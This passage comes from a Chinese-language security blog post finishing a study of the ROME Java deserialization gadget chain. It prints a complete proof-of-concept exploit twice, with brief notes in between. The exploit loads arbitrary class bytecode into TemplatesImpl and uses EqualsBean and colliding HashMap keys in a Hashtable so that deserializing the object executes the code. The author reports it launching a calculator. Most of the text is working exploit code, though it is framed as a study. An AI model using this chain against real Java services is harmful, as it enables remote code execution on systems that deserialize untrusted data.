import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        EqualsBean bean = new EqualsBean(String.class,"fupanc");
        Hashtable hash = new Hashtable();

        HashMap hashMap0 = new HashMap();
        hashMap0.put("zZ",bean);
        hashMap0.put("yy",impl);

        HashMap hashMap1 = new HashMap();
        hashMap1.put("zZ",impl);
        hashMap1.put("yy",bean);

        hash.put(hashMap0,1);
        hash.put(hashMap1,1);

        setFieldValue(bean,"_beanClass",Templates.class);
        setFieldValue(bean,"_obj",impl);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hash);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

简单说明一下,EqualsBean类不用说了,就是ObjectBean类实例用的那个。ObjectBean类的equals()方法也是指向的我们要利用的那个: image-20250122140418611

对于反射修改,还是很妙的,直接在下面这一步就断出去了并且没有影响基本的赋值问题: image-20250122140410478

因为传入的TemplatesImpl类实例和String.class不是相对应的,所以没有进入下面的加载字节码的过程。直接讲eq赋值为了false,并且在最后是返回了这个值的:

image-20250106164810630

也就是说这里调用equals()方法后最后返回的是false,成功放入了第二个键值对,不会覆盖:

image-20250106164917824

非常妙,同时传入fupanc,是为了让equalsBean能够成功实例化:

image-20250106165124272

所以最终POC为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;

import java.util.Hashtable;
import com.sun.syndication.feed.impl.ObjectBean;
import java.util.HashMap;
import com.sun.syndication.feed.impl.EqualsBean;

import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        EqualsBean bean = new EqualsBean(String.class,"fupanc");
        Hashtable hash = new Hashtable();

        HashMap hashMap0 = new HashMap();
        hashMap0.put("zZ",bean);
        hashMap0.put("yy",impl);

        HashMap hashMap1 = new HashMap();
        hashMap1.put("zZ",impl);
        hashMap1.put("yy",bean);

        hash.put(hashMap0,1);
        hash.put(hashMap1,1);

        setFieldValue(bean,"_beanClass",Templates.class);
        setFieldValue(bean,"_obj",impl);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hash);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

成功按照预期弹出一个计算机,调试也没问题。

OK,ROME链完结。

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计